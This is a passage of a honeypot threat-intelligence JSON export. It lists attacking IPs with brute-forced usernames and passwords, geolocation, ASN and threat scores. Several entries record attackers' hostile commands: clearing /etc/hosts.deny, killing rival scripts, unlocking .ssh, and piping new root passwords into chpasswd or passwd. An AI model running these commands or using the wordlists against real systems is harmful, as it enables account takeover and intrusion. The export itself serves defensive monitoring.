        "last_seen_30d": "2026-05-24T08:17:11.316000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 98
      }
    },
    "27.79.6.117": {
      "attack_count": 451,
      "first_seen": "2026-05-02T16:54:30.703Z",
      "last_seen": "2026-05-02T17:22:06.388Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "monitor",
        "support",
        "test",
        "user",
        "*****",
        "1234",
        "ace",
        "anton",
        "backup",
        "btf",
        "carol",
        "cf1c22",
        "cisco",
        "db2inst2",
        "demo",
        "developer",
        "ftp",
        "george"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "P@ssw0rd",
        "password",
        "*****",
        "1",
        "1111",
        "111111",
        "12345",
        "12345678",
        "123456789",
        "321start",
        "91482d",
        "@",
        "abc123",
        "ace",
        "admin01",
        "admin1",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 649,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:54:30.703000+00:00",
        "last_seen_30d": "2026-05-02T17:23:10.740000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 451,
        "Suricata": 198
      }
    },
    "110.19.173.42": {
      "attack_count": 390,
      "first_seen": "2026-05-21T06:58:43.389Z",
      "last_seen": "2026-05-22T09:47:06.239Z",
      "sessions": 195,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 591,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:58:43.389000+00:00",
        "last_seen_30d": "2026-05-22T09:48:13.946000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 390,
        "Suricata": 201
      }
    },
    "27.19.219.21": {
      "attack_count": 386,
      "first_seen": "2026-05-19T18:33:29.059Z",
      "last_seen": "2026-05-20T18:13:54.864Z",
      "sessions": 193,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 596,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:33:29.059000+00:00",
        "last_seen_30d": "2026-05-20T18:15:00.828000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 210
      }
    },
    "49.51.232.231": {
      "attack_count": 314,
      "first_seen": "2026-05-17T04:43:10.822Z",
      "last_seen": "2026-05-17T05:09:02.615Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1987",
        "20192019",
        "2wsx#EDC",
        "88888888",
        "Asd123456",
        "Hola123",
        "Test@123",
        "b0ll0ck5",
        "ddd!@#$%^&",
        "dhis",
        "golden",
        "johnny",
        "kundan",
        "pa55word",
        "plunga471",
        "postgresql",
        "qwerty1234567890",
        "redhat@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:TlexxvWOwJZQ\"|chpasswd|bash",
        "echo \"root:ei2FYb57Wc1x\"|chpasswd|bash",
        "echo \"root:jEYv3RDaSyzm\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:43:10.822000+00:00",
        "last_seen_30d": "2026-05-17T05:10:12.108000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 61
      }
    },
    "112.151.178.49": {
      "attack_count": 309,
      "first_seen": "2026-05-19T11:58:22.239Z",
      "last_seen": "2026-05-19T12:29:52.044Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100100",
        "1925",
        "1qaz2wsx!@#",
        "Admin2023!",
        "Qaz123123",
        "aaa123456",
        "claude",
        "connie",
        "developer1",
        "gituser",
        "knight",
        "lance",
        "mac",
        "panasonic",
        "poipoi",
        "qq5201314",
        "qwe123asd456",
        "s1s2s3s4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5Olo3kzESs6J\"|chpasswd|bash",
        "echo \"root:dQOQocT1GBgH\"|chpasswd|bash",
        "echo \"root:thqfLJpzICtD\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:58:22.239000+00:00",
        "last_seen_30d": "2026-05-19T12:30:57.905000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "36.95.221.140": {
      "attack_count": 304,
      "first_seen": "2026-05-18T17:48:41.107Z",
      "last_seen": "2026-05-18T18:18:46.610Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11011969",
        "123qweASD!@#",
        "1q2w",
        "200389",
        "2030",
        "Cisco123!@",
        "Qwerty123456",
        "a123123",
        "amateur",
        "andreas1",
        "cs123456",
        "dolphins",
        "ds",
        "kettle",
        "molisoft",
        "oswald",
        "root1234567",
        "ssh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Uc5wZwYWTOSj\"|chpasswd|bash",
        "echo \"root:Ws54ioSOfsGU\"|chpasswd|bash",
        "echo \"root:wq8vuTWDjqwK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "South Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:48:41.107000+00:00",
        "last_seen_30d": "2026-05-18T18:19:49.541000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "43.133.194.186": {
      "attack_count": 257,
      "first_seen": "2026-05-23T23:54:30.468Z",
      "last_seen": "2026-05-24T00:30:35.209Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin1",
        "bodega",
        "erp",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234QWer",
        "Admin@2022",
        "Vps@123",
        "admin@123",
        "adminroot",
        "erp",
        "root@123",
        "usuario1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n8I2DNSXDo7eT\\n8I2DNSXDo7eT\\n\"|passwd",
        "echo \"123456\\nEghu9ZiGlUup\\nEghu9ZiGlUup\\n\"|passwd",
        "echo \"root@123\\nCGoqOJhzsXn0\\nCGoqOJhzsXn0\\n\"|passwd",
        "echo -e \"123456\\n8I2DNSXDo7eT\\n8I2DNSXDo7eT\"|passwd|bash",
        "echo -e \"123456\\nEghu9ZiGlUup\\nEghu9ZiGlUup\"|passwd|bash",
        "echo -e \"root@123\\nCGoqOJhzsXn0\\nCGoqOJhzsXn0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:54:30.468000+00:00",
        "last_seen_30d": "2026-05-24T00:31:41.180000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 38
      }
    },
    "190.244.39.224": {
      "attack_count": 253,
      "first_seen": "2026-05-23T19:36:50.309Z",
      "last_seen": "2026-05-31T22:05:49.573Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "autrede",
        "customer",
        "internet",
        "ivan",
        "marina",
        "milan",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456789@Abc",
        "1q@W3e$R",
        "1qw2!QW@",
        "20242024",
        "Alibaba@123",
        "P455w0rd",
        "P@ssw0rd@123",
        "Qwerty123!@#",
        "Test123!@#",
        "autrede",
        "feifei520",
        "marina123",
        "milan",
        "password",
        "qwerty123@",
        "server123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:LtO1uT7Cwgcq\"|chpasswd|bash",
        "echo \"root:geFD3R6KUEPB\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 44.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:36:50.309000+00:00",
        "last_seen_30d": "2026-05-31T22:16:35.415000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 253,
        "Suricata": 79
      }
    },
    "37.187.244.59": {
      "attack_count": 236,
      "first_seen": "2026-05-13T13:11:07.210Z",
      "last_seen": "2026-05-13T13:46:30.187Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "anita",
        "cms",
        "john",
        "mqm",
        "nils",
        "phil",
        "pruebas",
        "steam",
        "vyos"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456789a@",
        "Huawei@5tgb",
        "P@ssw0rd@1234",
        "Password@12345",
        "QWEqwe123",
        "Rahul123",
        "Root!123",
        "anita",
        "asd123",
        "cms",
        "john",
        "nils",
        "phil",
        "pruebas",
        "qwe1234.",
        "ronaldo2",
        "sofia"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Qy1ptIYtEywP\"|chpasswd|bash",
        "echo \"root:hJFLCpNmvWzd\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:11:07.210000+00:00",
        "last_seen_30d": "2026-05-13T13:47:33.721000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "103.106.188.32": {
      "attack_count": 226,
      "first_seen": "2026-05-19T20:50:40.823Z",
      "last_seen": "2026-05-19T21:41:07.073Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2099",
        "Aa123456!",
        "Admin+123",
        "anand123",
        "claude",
        "eagle",
        "mcintosh",
        "mec",
        "mihai2011",
        "motorola123",
        "nirvana",
        "pipi",
        "root.2023",
        "tennis",
        "tester321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:C6G3I4En2TEz\"|chpasswd|bash",
        "echo \"root:o6GNIm5bqIe4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:50:40.823000+00:00",
        "last_seen_30d": "2026-05-19T21:42:14.848000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 226,
        "Suricata": 68
      }
    },
    "130.162.177.104": {
      "attack_count": 218,
      "first_seen": "2026-05-28T21:31:17.737Z",
      "last_seen": "2026-05-28T21:56:43.959Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "jbernal",
        "autcom",
        "email",
        "server",
        "smile",
        "test",
        "user1",
        "vncuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123mudar",
        "Aa-123456",
        "Hc123456",
        "Root-2024",
        "autcom",
        "fjbdfdjkdsfs541544",
        "password",
        "qw",
        "ronaldo2",
        "server@123",
        "smile",
        "zaq12wsx",
        "zxcZXC123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nDOroao8wwOBg\\nDOroao8wwOBg\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nNsR55Rmd55N5\\nNsR55Rmd55N5\\n\"|passwd",
        "echo -e \"123456\\nDOroao8wwOBg\\nDOroao8wwOBg\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nNsR55Rmd55N5\\nNsR55Rmd55N5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T21:31:17.737000+00:00",
        "last_seen_30d": "2026-05-28T21:57:49.664000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 45
      }
    },
    "181.65.191.219": {
      "attack_count": 196,
      "first_seen": "2026-05-16T17:57:23.299Z",
      "last_seen": "2026-05-16T18:32:01.735Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qwe",
        "0o9i8u7y",
        "20192019",
        "admin12345",
        "azertyuiop",
        "hansolo",
        "liguo!987",
        "spamfilter",
        "tmproot",
        "warnightkardesim",
        "winner",
        "zp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Jgupg5XtuJ1A\"|chpasswd|bash",
        "echo \"root:u62yMVU6bbcA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lambayeque",
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:57:23.299000+00:00",
        "last_seen_30d": "2026-05-16T18:33:10.687000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 38
      }
    },
    "92.204.138.187": {
      "attack_count": 144,
      "first_seen": "2026-05-23T01:39:23.729Z",
      "last_seen": "2026-05-23T05:08:40.149Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:39:23.729000+00:00",
        "last_seen_30d": "2026-05-23T05:09:48.849000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 118
      }
    },
    "45.192.12.14": {
      "attack_count": 143,
      "first_seen": "2026-05-22T14:52:58.524Z",
      "last_seen": "2026-05-22T15:37:44.654Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ca",
        "david",
        "git",
        "project",
        "test",
        "tony"
      ],
      "passwords_attempted": [
        "123",
        "!@#$QWER1234qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "@dmin123",
        "Ab123456789",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Ba123456",
        "Dev@2024",
        "Hk@123456",
        "Lo123456",
        "P@ssw0rd",
        "Qwertyu1",
        "test1234",
        "test12345",
        "tony"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NXxmLsBcc57Q\"|chpasswd|bash",
